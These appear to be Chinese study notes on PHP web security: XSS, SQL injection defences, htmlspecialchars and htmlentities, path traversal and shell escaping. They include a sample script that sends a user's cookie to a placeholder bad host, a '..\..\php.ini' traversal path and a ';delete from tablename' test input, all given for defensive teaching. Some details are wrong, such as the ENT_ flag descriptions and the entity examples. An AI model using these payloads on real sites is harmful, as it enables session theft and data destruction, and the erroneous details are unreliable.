1.在互联网中,一种非常常见的有效供给类型就是常说的恶意代码注入,如XSS,它的工作流程如下
a.恶意用户在一些公共区域(如建议提交表单或消息公告板的输入表单)输入一些文本,这些文本将被其他用户看到,但这些文本不仅仅是他们要输入的文本,同时还包含了一些可以在客户端执行的脚本,如下所示:
<script>
this.document="go.somewhere.bad?cookie="+this.coolie;
</script>
该脚本会使这个用户重定向,且最初站点的cookie信息将被随同发送
b.恶意用户提交这个表单并等待
c.系统的下一个用户看到了这个包含了恶意用户输入的文本页面,其中的脚本将在这个用户的客户端执行。
2.防止SQL注入的两种方法
a.过滤并转义所有通过SQL发送给数据库服务器的字符串,用mysqli::real_escape_string或mysqli_real_escape_string函数
b.确认所有输入都符合期望。编写可以确保在发送给数据库服务器之前输入值符合期望的PHP代码意味着可以在数据库给出错误信息之前打印出来,从而降低风险,如用户名最多只能50个字符,且只能包含数字和字母
3.HTML实体就是一个以“&”开始、以“;”结尾的特殊字符序列,它可以用来表示那些不能在HTML代码表示的特殊字符,或者实体可以是一个由“#”指定的ASCII键码以及一个数字的字符串,HTML实体被浏览器解释并转换为标准的置标元素。例如/;表示一个反斜线“/”,<和>表示为<和>,&表示为&,单引号和双引号表示为'和"。
4.htmlspecialchars函数和htmllentities函数
这两个函数的区别是前者在默认情况下之替换&<>这3个字符,后者将替换所有有名称实体所表示的字符串,比如版权符号©和欧元符号&euro
这两个函数的第二个参数控制是否将单引号和双引号转换成HTML实体,可选值如下
ENT_COMPAT:双引号被转换为",单引号不会被转
ENT_QUOTES:单引号被转换为',双引号不会被转
ENT_NOQUOTES:默认值,两个都不转换
这两个函数还有第三个参数用来指定输入字符串的编码值
以下用个简单的小案例来说明
<?php
$input_str="<p align='center' >wo shi yi ge hao & ren \"ma\"</p>";
echo $input_str.'<br>';
echo htmlspecialchars($input_str).'<br>';
echo htmlentities($input_str).'<br>';
?>
以上3个echo在浏览器中显示如下:
wo shi yi ge hao & ren "ma" //该句会在浏览器中居中
<p align='center' >wo shi yi ge hao & ren "ma"</p>
<p align='center' >wo shi yi ge hao & ren "ma"</p>
以下3个是在浏览器中的源代码
<p align='center' >wo shi yi ge hao & ren "ma"</p><br> <p align='center' >wo shi yi ge hao & ren "ma"</p><br> <p align='center' >wo shi yi ge hao & ren "ma"</p><br> |
从两种输出可以看到,上述两个函数已经过滤掉了一些HTML标签
5.我们应确保把不能被直接访问的文件放置在网站根目录外面,且确保Web服务器被配置为只允许请求.php和.html文件,而对其他类型的文件返回错误。
如果在php.ini文件中启用了allow_url_fopen选项,理论上我们可以引入或请求远程服务器上的文件,但是不推荐。
6.请记住,PHP是为能够与本地文件系统交互而设计的。
当写一个文件时需要特别注意:这个文件是否具有广泛的打开权限,或者它们是否被保存在一个多用户操作系统下其他用户可以访问的位置(如linux)
必须特别注意不能让用户输入一个他们期望看到的文件名称的情况,因为万一用户知道了改文件名,他将可以用过下面的路径来访问服务器上的其他文件..\..\php.ini
确保以上情况的发生必须过滤“../”,也必须过滤访问绝对路径的字符串
7.shell的命令行执行程序的代码都包含在反引号之间,因此如果允许用户输入出现在反引号的命令中是很危险的,必须经过escapeshellcmd函数过滤。
8.我们可以如下所示的测试来确保数据库能正确地处理数据
尝试输入类似于” ';delete from tablename“的值等
对于数字或日期域,尝试输入一些非法值,例如087%×(&¥等并确保获得错误返回
尝试输入超过大小限制的数据并确认获得错误返回